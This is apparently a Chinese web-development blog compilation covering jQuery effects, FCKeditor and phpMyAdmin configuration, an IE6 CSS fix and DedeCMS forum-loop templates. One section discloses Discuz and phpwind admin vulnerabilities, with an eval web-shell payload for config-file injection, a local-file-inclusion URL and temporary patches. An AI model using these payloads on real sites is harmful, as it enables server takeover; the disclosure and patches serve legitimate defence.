全部与精简切换显示jQuery实例教程

用户可以单击商品列表下方的“显示全部品牌”按钮来显示全部的品牌。单击“显示全部品牌”按钮同时,列表会将推荐的品牌的名字高亮显示,按钮里的文字也换成了“精简显示品牌”。再次单击“精简显示品牌”按钮,即可回到初始状态。
实现这个示例,代码如下:
- ……
- <script>
- $(function() {
- var $category = $("ul li:gt(4):not(:last)"); //获取索引值大于4的品牌对象(除最后一条)
- $category.hide(); //隐藏上面获取到的jQuery对象
- var $togglebtn = $(".more>a"); //获取“显示全部品牌”按钮
- $togglebtn.click(function() { //给按钮添加onclick事件
- if ($category.is(":visible")) { //如果元素显示
- $category.hide(); //隐藏$category
- $(".more a span").css("background", "url(img/up_down.png) no-repeat 0 5px").text("显示全部品牌"); //改变背景、文字
- $("ul li").removeClass("promoted"); //移除高亮样式
- } else {
- $category.show(); //显示$category
- $(".more a span").css("background", "url(img/up_down.png) no-repeat 0 -18px").text("精简显示品牌") //改变背景、文字
- $("ul li").filter(":contains('佳能'),:contains('三星'),:contains('松下')").addClass("promoted"); //增加高亮显示
- }
- return false; //阻止链接跳转
- })
- })
- </script>
- ……
- <div>
- <ul>
- <li><a href="#">佳能</a><i>(3048)</i></li>
- <li><a href="#">索尼</a><i>(204)</i></li>
- <li><a href="#">三星</a><i>(1040)</i></li>
- <li><a href="#">尼康</a><i>(390)</i></li>
- <li><a href="#">松下</a><i>(700)</i></li>
- <li><a href="#">明基</a><i>(800)</i></li>
- <li><a href="#">三洋</a><i>(700)</i></li>
- <li><a href="#">拍得丽</a><i>(800)</i></li>
- <li><a href="#">尼柯</a><i>(700)</i></li>
- <li><a href="#">爱国者</a><i>(800)</i></li>
- <li><a href="#">其它</a><i>(760)</i></li>
- </ul>
- <div><a href="a.html"><span>显示全部品牌</span></a></div>
- </div>
- ……
1.从第4条开始隐藏后面的品牌(最后一条“其它”除外)。
- var $category = $("ul li:gt(4):not(:last)");
- $category.hide(); //隐藏上面获取到的jQuery对象
$(“ul li:gt(4):not(:last)”)的意思是获取ul元素下索引值大于5的li元素的集合元素,然后去掉集合元素中的最后一个元素。
2.当用户单击“显示全部品牌”按钮时,执行一下操作。
首先获取到按钮,代码如下:
- var $gogglebtn = $(".more > a"); //获取“显示全部品牌”按钮
然后给按钮添加事件,使用show()方法把隐藏的品牌列表显示出来,代码如下:
- $togglebtn.click(function(){
- $category.show(); //显示全部品牌
- return false; //阻止链接跳转
- })
由于给超练级添加onclick 事件,因此需要使用“return flash”语句让浏览器认为用户没有单击该超链接,从而阻止该超链接跳转。
之后,需要将“显示全部品牌”按钮文本切换成“精简显示品牌”,代码如下:
- $(".more a span").css("background", "url(img/up_down.png) no-repeat 0 -18px").text("精简显示品牌") //改变背景、文字
这里完成了两部操作,即把按钮的背景图片换成向上的图片,同时也改变了按钮文本内容,将其替换成了“精简显示品牌”。
接下来需高亮推荐品牌,代码如下:
- $("ul li").filter(":contains('佳能'),:contains('三星'),:contains('松下')").addClass("promoted");
- //增加高亮显示
使用filter()方法筛选出符合要求的品牌,然后为它们添加promoted样式。在这里推荐了3个品牌,即佳能、三星、松下。
3.当用户单击“精简显示品牌”按钮时,将执行以下操作。
由于用户单击的是同一个按钮,因此事件仍然是在刚才的按钮元素上。要将切换两种状态的效果在一个按钮上进行,可以通过判断元素的显示或者隐藏来达到目的,代码结构如下:
- if(元素显示){
- //元素隐藏
- }else{
- //元素显示
- }
在jQuery中,与show方法相反的是hide()方法,因此可以使用hide()方法将品牌隐藏起来,代码如下:
- $(".more a span").css("background", "url(img/up_down.png) no-repeat 0 5px").text("显示全部品牌"); //改变背景、文字
接下来需要去掉所有的品牌高亮显示状态,此时可以使用removeClass()方法来完成,代码如下:
- $("ul li").removeClass("promoted"); //去掉高亮样式
它将去掉所有li元素上的”promoted”样式,即去掉了品牌的高亮状态。
用jQuery制作动画背景导航菜单

该实例利用jQuery效果animate() 方法改变CSS背景定位属性实现动画效果,CSS背景属性值是逐渐改变的,这样视觉上就达到动画效果。
在写入这样的无序列表:
- <ul>
- <li><a href="#">Home</a></li>
- <li><a href="#">About</a></li>
- <li><a href="#">Contact</a></li>
- </ul>
定义下面的CSS样式:
- ul { list-style:none; margin:0; padding:0; }
- li { float:left; width:100px; margin:0; padding:0; text-align:center; }
- li a { display:block; padding:5px 10px; height:100%; color:#FFF; text-decoration:none; border-right:1px solid #FFF; }
- li a { background:url(bg.jpg) repeat 0 0; }
- li a:hover { background-position:50px 0; }
下面是实现效果的核心jQuery代码:
- $('#nav a').css({
- backgroundPosition: "0 0"
- }).mouseover(function () {
- $(this).stop().animate({
- backgroundPosition: "(0 -250px)"
- }, {
- duration: 500
- })
- }).mouseout(function () {
- $(this).stop().animate({
- backgroundPosition: "(0 0)"
- }, {
- duration: 500
- })
- })
一个简单的jQuery信息提示效果

jQuery信息提示(jQuery Tooltip)效果可以很好的提升用户体验,在web developer中也经日趋频繁,下面是一个简单的jQuery息提示效果实例演示。
首先加载jQuery库文件:
- <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.0/jquery.min.js"></script>
下面是jQuery核心代码:
- $(document).ready(function () {
- $(".menu a").hover(function () {
- $(this).next("em").animate({
- opacity: "show",
- top: "-75"
- }, "slow");
- }, function () {
- $(this).next("em").animate({
- opacity: "hide",
- top: "-85"
- }, "fast");
- });
- });
HTML代码如下:
- <ul>
- <li><a href="#">…</a><em style="top: -85px; display: none;">…</em></li>
- <li><a href="#">…</a><em style="top: -85px; display: none;">…</em></li>
- <li><a href="#">…</a><em style="top: -85px; display: none;">…</em></li>
- </ul>
jQuery动画回调函数

在上一篇文章中,如果想在最后一步切换元素的CSS样式,而不是隐藏元素:
css("border","solid 5px blue");
如果知识按照常规的方式,将fadeOut(“slow”)改为css(“border”,”solid 5px blue”),并不能达到预期的效果。预期效果是在动画的最后一步改变元素的样式,而实际的效果是,刚开始执行动哈ude时候,css()方法就被执行过了。
出现这个问题的原因是css()方法并不会加入到动画队列中,而是立即执行。可以使用回调函数(callback)对非动画方法实现排队。只要把css()方法写在最后一个动画的回调函数里即可。代码如下:
- $(function () {
- $("#panel").click(function () {
- $(this).animate({
- left: "400px",
- height: "200px",
- opacity: "1"
- }, 3000).animate({
- top: "200px",
- width: "200px"
- }, 3000, function () {
- $(this).css("border", "5px solid blue");
- })
- });
- });
这样以来,css()方法就加入到动画队列中了,从而满足了上文提出的需求。
FCKeditor,fckconfig.js【配置中文说明】

FCKeditor设置文件 "fckconfig.js"
FCKConfig.CustomConfigurationsPath = '' ; // 自定义配置文件路径和名称
FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css'; // 编辑区的样式表文件
FCKConfig.EditorAreaStyles = '' ; // 编辑区的样式表风格
FCKConfig.ToolbarComboPreviewCSS =''; //工具栏预览CSS
FCKConfig.DocType = '' ;//文档类型
FCKConfig.BaseHref = ''; // 相对链接的基地址
FCKConfig.FullPage = false ; //是否允许编辑整个HTML文件,还是仅允许编辑BODY间的内容
FCKConfig.StartupShowBlocks = false ;//决定是否启用"显示模块"
FCKConfig.Debug = false ;//是否开启调试功能
FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/' ; //皮肤路径
FCKConfig.PreloadImages=... //预装入的图片
FCKConfig.PluginsPath = FCKConfig.BasePath + 'plugins/' ; //插件路径
FCKConfig.AutoDetectLanguage = true ; //是否自动检测语言
FCKConfig.DefaultLanguage = 'zh-cn' ; //默认语言
FCKConfig.ContentLangDirection = 'ltr' ; //默认的文字方向,可选"ltr/rtl",即从左到右或从右到左
FCKConfig.ProcessHTMLEntities = true ; //处理HTML实体
FCKConfig.IncludeLatinEntities = true ; //包括拉丁文
FCKConfig.IncludeGreekEntities = true ;//包括希腊文
FCKConfig.ProcessNumericEntities = false ;//处理数字实体
FCKConfig.AdditionalNumericEntities = '' ; //附加的数字实体
FCKConfig.FillEmptyBlocks = true ; //是否填充空块
FCKConfig.FormatSource = true ; //在切换到代码视图时是否自动格式化代码
FCKConfig.FormatOutput = true ; //当输出内容时是否自动格式化代码
FCKConfig.FormatIndentator = ' ' ; //当在源码格式下缩进代码使用的字符
FCKConfig.StartupFocus = false ; //开启时焦点是否到编辑器,即打开页面时光标是否停留在fckeditor上
FCKConfig.ForcePasteAsPlainText = false ; //是否强制粘贴为纯文件内容
FCKConfig.AutoDetectPasteFromWord = true ; //是否自动探测从word粘贴文件,仅支持IE
FCKConfig.ShowDropDialog = true ;//是否显示下拉菜单
FCKConfig.ForceSimpleAmpersand = false ;//是否不把&符号转换为XML实体
FCKConfig.TabSpaces = 0 ;//按下Tab键时光标跳格数,默认值为零为不跳格
FCKConfig.ShowBorders = true ;//合并边框
FCKConfig.SourcePopup = false ;//弹出
FCKConfig.ToolbarStartExpanded = true ;//启动fckeditor工具栏默认是否展开
FCKConfig.ToolbarCanCollapse = true ;//是否允许折叠或展开工具栏
FCKConfig.IgnoreEmptyParagraphValue = true ;//是否忽略空的段落值
FCKConfig.FloatingPanelsZIndex = 10000 ;//浮动面板索引
FCKConfig.HtmlEncodeOutput = false ;//是否将HTML编码输出
FCKConfig.TemplateReplaceAll = true ;//是否替换所有模板
FCKConfig.ToolbarLocation = 'In' ;//工具栏位置,
FCKConfig.CustomConfigurationsPath = '' ; // 自定义配置文件路径和名称
FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css'; // 编辑区的样式表文件
FCKConfig.BaseHref = ''; // 相对链接的基地址
FCKConfig.Debug = true/false; // 是否开启调试功能,当调用FCKDebug.Output()时,会在调试窗中输出内容
FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/'; // 设置皮肤
FCKConfig.AutoDetectLanguage = true/false ; // 是否自动检测语言
FCKConfig.DefaultLanguage = 'zh-cn' ; // 设置默认语言
FCKConfig.ContentLangDirection = 'ltr/rtr'; // 默认文字方向,ltr左,rtr右
FCKConfig.FillEmptyBlocks = true/false ; // 使用这个功能,可以将空的块级元素用空格来替代
FCKConfig.FormatSource = true/false; // 切换到代码视图时,是否自动格式化代码
FCKConfig.FormatOutput = true/false; // 当输出内容时是否自动格式化代码
FCKConfig.FormatIndentator = ""; // 当在“源码格式”下缩进代码使用的字符
FCKConfig.GeckoUseSPAN = true/false; // 是否允许SPAN标记代替B,I,U标记
FCKConfig.StartupFocus = true/false; // 开启时是否FOCUS到编辑器
FCKConfig.ForcePasteAsPlainText = true/false;// 强制粘贴为纯文本
FCKConfig.ForceSimpleAmpersand = true/false; // 是否不把&符号转换为XML实体
FCKConfig.TabSpaces = 0/1; // TAB是否有效
FCKConfig.TabSpaces = 4; // TAB键产生的空格字符数
FCKConfig.ShowBorders = true/false; // 是否合并边框
FCKConfig.ToolbarStartExpanded = true/false; // 页面载入时,工具栏是否展开,点“展开工具栏”时才出现
FCKConfig.ToolBarCanCollapse = true/false; // 是否允许展开折叠工具栏
FCKConfig.ToolbarSets = object ; // 编辑器的工具栏,可以自行定义,删减,可参考已存在工具栏
FCKConfig.EnterMode = 'p'; // 编辑器中直接回车,在代码中生成,可选为p | div | br
FCKConfig.ShiftEnterMode = 'br'; // 编辑器中Shift+回车,在代码中生成,可选为p | div | br
FCKConfig.ContextMenu = 字符串数组; // 右键菜单的内容
FCKConfig.FontColors = ""; // 文字颜色列表
FCKConfig.FontNames = ""; // 字体列表
FCKConfig.FontSizes = ""; // 字号列表
FCKConfig.FontFormats = ""; // 文字格式列表
FCKConfig.StylesXmlPath = ""; // CSS样式列表的XML文件的位置
FCKConfig.TemplatesXmlPath = ""; // 模版的XML文件位置
FCKConfig.SpellChecker = "ieSpell/Spellerpages"; // 拼写检查器
FCKConfig.IeSpellDownloadUrl = ""; // 下载拼写检查器的网址
FCKConfig.SmileyPath = FCKConfig.BasePath + 'images/smiley/msn/'; // 表情文件存放路径
FCKConfig.SmileyImages = ''; // 表情文件名称列表,具体参考默认设置
FCKConfig.SmileyColumns = 8; // 表情窗口显示表情列数
FCKConfig.SmileyWindowWidth = 320; // 表情窗口显示宽度,此窗口会因为表情文件的改变而作调整
FCKConfig.SmileyWindowHeight = 240; // 表情窗口显示高度,此窗口会因为表情文件的改变而作调整
FCKConfig.FullPage = true/false; // 是否允许编辑整个HTML文件,还是仅允许编辑BODY间的内容
上传设置
var _FileBrowserLanguage = 'php' ; // asp | aspx | cfm | lasso | perl | php | py
var _QuickUploadLanguage = 'php' ; // asp | aspx | cfm | lasso | php[/co
//第一个是文件浏览器使用的语言,第二个快速上传使用的语言,改成你需要的
FCKConfig.LinkUploadAllowedExtensions = "" ; // empty for all
FCKConfig.LinkUploadDeniedExtensions =".(php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi)$"
//这是两个允许和拒绝上传的文件类型列表
FCKConfig.ImageBrowser = false ;是否在插入图片功能里面启用服务器文件浏览功能
FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
Type=Image 表示文件类型是image这会使文件浏览器定位到文件上传路径/image/文件夹下面
FCKConfig.FlashBrowser = false ;是否在插入flash功能中启用服务器文件浏览功能
FCKConfig.LinkUpload = false ;是否启用插入链接的快速上传功能
FCKConfig.ImageUpload = false ;是否启用图片快速上传功能
FCKConfig.FlashUpload = false ;是否启用flash上传功能
服务器文件设置
文件浏览器的设置:
fckeditor\editor\filemanager\connectors\asp\config.asp
ConfigIsEnabled = true 决定是否启用文件浏览器。这个是在服务器上执行的
ConfigUserFilesPath = "/test/upload/" 上传文件的路径(相对的)
ConfigAllowedExtensions.Add "File", ""
ConfigDeniedExtensions.Add "File", "php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|
ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi"
ConfigAllowedExtensions.Add "Image", "jpg|gif|jpeg|png|bmp"
ConfigDeniedExtensions.Add "Image", ""
ConfigAllowedExtensions.Add "Flash", "swf|fla"
ConfigDeniedExtensions.Add "Flash", ""
ConfigAllowedExtensions.Add "Media", "swf|fla|jpg|gif|jpeg|png|avi|mpg|mpeg|mp(1-4)|wma|wmv|wav|mid|midi|rmi|rm|ram|rmvb|mov|qt"
ConfigDeniedExtensions.Add "Media", ""
这是4个不同的filetype类型 分别对应了 前台编辑器的 插入链接 插入图片 插入flash 插入媒体 4个功能
connecter.asp
Function IsAllowedType( resourceType )
Dim orE
Set orE = New RegExp
orE.IgnoreCase = True
orE.Global = True
orE.Pattern = "^(File|Image|Flash|Media)$" ‘这里也是文件类型
IsAllowedType = orE.Test( resourceType )
Set orE = Nothing
End Function
这里的文件类型与上面提到的两处文件类型是一致的要改必须许全改
快速上传:
ConfigIsEnabled = False //是否启用快速上传
ConfigUserFilesPath = "/UserFiles/"
//如果想上传到 /test/upload/yyymmdd/的文件夹下面
则修改为 ConfigUserFilesPath = "/test/upload/" & year(now())& right("0"& month(now()),2)&right("0" & day(now()),2)
修正IE6不支持position:fixed的bug

众所周知IE6不支持position:fixed,这个bug与IE6的双倍margin和不支持PNG透明等bug一样臭名昭著。前些天我做自己的博客模板的时候,遇到了这个问题。当时就简单的无视了IE6——尽管有几个使用IE6的朋友,一起BS我……但是对于大项目或商业网站,如果有用到这个属性的时候,是不可能直接无视的。
如何解决“振动”的问题?
显然IE有一个多步的渲染进程。当你滚动或调整你的浏览器大小的时候,它将重置所有内容并重画页面,这个时候它就会重新处理css表达式。这会引起一个丑陋的“振动”bug,在此处固定位置的元素需要调整以跟上你的(页面的)滚动,于是就会“跳动”。
解决此问题的技巧就是使用background-attachment:fixed
为body或html元素添加一个background-image。这就会强制页面在重画之前先处理CSS。因为是在重画之前处理CSS,它也就会同样在重画之前首先处理你的CSS表达式。这将让你实现完美的平滑的固定位置元素!
我发现的另外一个小技巧是,你根本无需一个真实的图片!你可以使用一个about:blank
替代一个spacer.gif图片,而且它工作的同样出色。
/*让position:fixed在IE6下可用! */
.fixed-top /* 头部固定 */{position:fixed;bottom:auto;top:0px;}
.fixed-bottom /* 底部固定 */{position:fixed;bottom:0px;top:auto;}
.fixed-left /* 左侧固定 */{position:fixed;right:auto;left:0px;}
.fixed-right /* 右侧固定 */{position:fixed;right:0px;left:auto;}
/* 上面的是除了IE6的主流浏览器通用的方法 */
* html,* html body /* 修正IE6振动bug */{background-image:url(about:blank);background-attachment:fixed;}
* html .fixed-top /* IE6 头部固定 */{position:absolute;bottom:auto;top:expression(eval(document.documentElement.scrollTop));}
* html .fixed-right /* IE6 右侧固定 */ {position:absolute;right:auto;left:expression(eval(document.documentElement.scrollLeft+document.documentElement.clientWidth-this.offsetWidth)-(parseInt(this.currentStyle.marginLeft,10)||0)-(parseInt(this.currentStyle.marginRight,10)||0));}
* html .fixed-bottom /* IE6 底部固定 */{position:absolute;bottom:auto;top:expression(eval(document.documentElement.scrollTop+document.documentElement.clientHeight-this.offsetHeight-(parseInt(this.currentStyle.marginTop,10)||0)-(parseInt(this.currentStyle.marginBottom,10)||0)));}
* html .fixed-left /* IE6 左侧固定 */{position:absolute;right:auto;left:expression(eval(document.documentElement.scrollLeft));}
phpmyadmin 链接表的附加功能尚未激活。要查出原因,请点击此处。

我的phpmyadmin版本是v3.3.9.2,是个比较新的版本,
修改说明:因为第一步导入数据库文件就是在数据库里新建了一个名为phpmyadmin的数据库,并且在该数据库里创建了很多的表,而第二步就是将之一一对应(给变量赋值),如果以后随着phpmyadmin的版本升级也许会多那么一个表出来,我们只要照着添加相应的表即可。
第一步:使用Mysql治理员帐号通过phpmyadmin登陆,然后点击“导进”,然后点击“浏览”按钮,找到phpmyadmin文件夹下的scripts文件夹里的一个名为create_tables.sql的文件。把它导进就OK了。
第二步:打开phpmyadmin文件夹下的libraries文件夹,找到名为config.default.php的文件,使用文本编辑工具(不推荐使用记事本,建议使用Dreamweaver之类的工具)打开该文件。对其进行修改。
修改的内容并非连续的,请手动进行修改,请勿复制。
libraries/config.default.php,将$cfg['PmaNoRelation_DisableWarning']的值改为ture。
分别修改:
$cfg['Servers'][$i]['pmadb'] = ”; // ‘phpmyadmin’ – see scripts/create_tables.sql
$cfg['Servers'][$i]['bookmarktable'] = ”; // ‘pma_bookmark’
$cfg['Servers'][$i]['relation'] = ”; // ‘pma_relation’
$cfg['Servers'][$i]['table_info'] = ”; // ‘pma_table_info’
$cfg['Servers'][$i]['table_coords'] = ”; // ‘pma_table_coords’
$cfg['Servers'][$i]['pdf_pages'] = ”; // ‘pma_pdf_pages’
$cfg['Servers'][$i]['column_info'] = ”; // ‘pma_column_info’
$cfg['Servers'][$i]['history'] = ”; // ‘pma_history’
$cfg['Servers'][$i]['designer_coords'] = ”;
修改为:
$cfg['Servers'][$i]['pmadb'] = ‘phpmyadmin’; // ‘phpmyadmin’ – see scripts/create_tables.sql
$cfg['Servers'][$i]['bookmarktable'] = ‘pma_bookmark’; // ‘pma_bookmark’
$cfg['Servers'][$i]['relation'] = ‘pma_relation’; // ‘pma_relation’
$cfg['Servers'][$i]['table_info'] = ‘pma_table_info’; // ‘pma_table_info’
$cfg['Servers'][$i]['table_coords'] = ‘pma_table_coords’; // ‘pma_table_coords’
$cfg['Servers'][$i]['pdf_pages'] = ‘pma_pdf_pages’; // ‘pma_pdf_pages’
$cfg['Servers'][$i]['column_info'] = ‘pma_column_info’; // ‘pma_column_info’
$cfg['Servers'][$i]['history'] = ‘pma_history’; // ‘pma_history’
$cfg['Servers'][$i]['designer_coords'] = ‘pma_designer_coords’;
第三步:注销phpmyadmin之后并重新登录。大功告成!
PhpMyAdmin 配置文件现在需要一个短语密码 的解决方法 :
编辑config.inc.php
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['blowfish_secret'] = 'liuxinxiu';(其中的"liuxinxiu"自定义)
这个密码用于Cookies的加密,以免多个PhpMyAdmin或者和其他程序共用Cookies时搞混。
UCenter(UC )后台备份数据库出现未知错误怎么办?

一朋友站,ucenter+DZ6.1.0 迁移linux服务器后无法,UCenter 1.5.0+DZ6.1这样的组合就会在使用UC后台备份数据库的时候出现未知错误,无法使用ucenter进行备份,解决方法:
只要把UC目录下API目录里的dbbak.php文件复制到DZ6.1论坛里面的API目录下就可以解决问题了。
discuz和phpwind的漏洞

多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
一、discuz后台settings.inc.php中写shell漏洞:
- if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {
- $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];
- if($settingsnew['uc']['connect']) {
- $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);
- if(!$uc_dblink) {
- cpmsg('uc_database_connect_error', '', 'error');
- } else {
- mysql_close($uc_dblink);
- }
- }
- $fp = fopen('./config.inc.php', 'r');
- $configfile = fread($fp, filesize('./config.inc.php'));
- $configfile = trim($configfile);
- $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
- fclose($fp);
- $connect = '';
- if($settingsnew['uc']['connect']) {
- require './config.inc.php';
- $connect = 'mysql';
- $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
- $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
- $configfile = insertconfig($configfile, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com
- $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");
- //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");
- }
- $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");
- $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");
- $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");
- $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");
- $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");
- $fp = fopen('./config.inc.php', 'w');
- if(!($fp = @fopen('./config.inc.php', 'w'))) {
- cpmsg('uc_config_write_error', '', 'error');
- }
- @fwrite($fp, trim($configfile));
- @fclose($fp);
- }
漏洞详情:
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
- function insertconfig($s, $find, $replace) {
- if(preg_match($find, $s)) {
- $s = preg_replace($find, $replace, $s);//正则匹配替换数据
- } else {
- $s .= "\r\n".$replace;
- }
- return $s;
- }
漏洞测试:
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。
临时补丁:
在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:
- foreach($settingsnew['uc'] as $key => $value){
- $settingsnew['uc'][$key]=str_replace(')','',$value);
- }
二、phpwind后台本地包含漏洞:
漏洞详情:
文件:hack\rate\admin.php
源码:
- <?php
- !function_exists('readover') && exit('Forbidden');
- define ( "H_R", R_P . "hack/rate/" );
- define ( "L_R", R_P . "lib/" );
- InitGP ( array ('ajax' ) );
- $action = strtolower ( ($job) ? $job : "admin" );
- $filepath = H_R . "action/" . $action . "Action.php";
- (! file_exists ( $filepath )) && exit ();
- if ($job != "ajax") {
- require H_R . '/template/layout.php';
- } else {
- require_once $filepath;
- }
- ?>
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
漏洞测试:
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁:
- $filepath = H_R . "action/" . $action . "Action.php";
替换为:
- $filepath = Pcv(H_R . "action/" . $action . "Action.php");
DEDE如何调用phpwind论坛指定的新帖 loop调用discuz大全

在DEDE中,这是调用论坛新帖的代码,那么如何实现调用如从第三开始到第十的帖子呢?在DEDE中有个limit"3,10"的条件项,在调用phpwind论坛要如何实现这个功能??
{dede:loop table='pw_threads' sort='tid' row='4' if='fid=10'}
<li> <a href="../read.php?tid=[field:tid/]">[field:subject function="cn_substr('@me',28)"/]
</a> </li>{/dede:loop}
注意一点:要pw_threads换成你的数据库名称,且要在同一个数据库里面。
{dede:loop table="pw_threads" sort="tid" row="17"}
<li>
<a href='/Forum/read-Server-tid-[field:tid /].html' target="_blank">
[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d','@me')" /])
</a></li>
{/dede:loop}
[5.3版] 用Loop解决首页调用自定义字段!
{dede:loop table="自定义字段所在的表名" sort='aid' row="显示的条数" if="typeid =栏目ID"}
[field:自定义的字段名 /]
{/dede:loop}
参考代码:
{dede:loop table="dede_addonarticle" sort='aid' row="10" if="typeid =1"}
[field:zdy /]
{/dede:loop}
比较简单的方法,个人认为比SQL好用。
然后把
{dede:loop table="pw_threads" sort="tid" row="10"}
<a href='/phpwind/read.php?tid=[field:tid /]'>
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这段加入到你的模板里就可以了。
loop调用discuz大全
我想在首页调用特定栏目的精华帖,但是JS太慢,想生成HTML。
我现在是这样调最新帖的,请问怎么调某个板块的精华帖?
论坛最新主题:<br/>
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
刚刚试了下,这样可以调特定板块的主题,现在就想问,怎么调精华主题?
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
再次发现,这样可以显示精华帖。
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 AND digest>0 and displayorder!=-1 " sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这样又可以按查看次数排序:
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
今天我告诉大家一些在织梦dedecms里面调用discuz论坛帖子的一些方法,这些方法都是好不容易从网上搜来的,这次一次奉献给大家啦。
首先要注意的是下面的代码中都有table="cdb_threads"这句。这句不是适用所有网站的,这个地方cbd是你论坛的表前缀名称,大家根据自己的论坛修改成合适的表前缀名。再者,我是把织梦和discuz 论坛放在一个数据库里面的,才开始放在两个数据库,整合了半天不成功,不知道是什么原因。后面放在一个数据库里面成功了。但是没有在放到两个数据库里面做测试,大家也可以测试下,告诉我结果了。按道理来说不限制放进同一个数据库才合理些!最后m-d H:M 带表是发布的时间,如果只要(日-月)时间格式的,把 H:M去掉即可。
1、论坛最新主题调用代码如下:
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
这个连接地址你可以写相对路径,也可以写绝对路径。
如果是discuz动态论坛,链接地址如http://bbs.xxx.com/viewthread.php?tid=[field:tid /]
如果是discuz静态论坛,连接地址如http://bbs.xxx.com/thread-[field:tid /]-1-1.html
2、论坛指定版块帖子调用方法:
{ dede:loop table="cdb_threads" if="fid=1 or fid=2 and displayorder!=-1" sort="tid" row="6" }
<a href="/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',50)" /] </a>
<br/>
{ /dede:loop }
其中的fid=1 or fid=2是论坛主题分类id,可以按照自己要求来修改,如果是一个分类就直接写fid=x
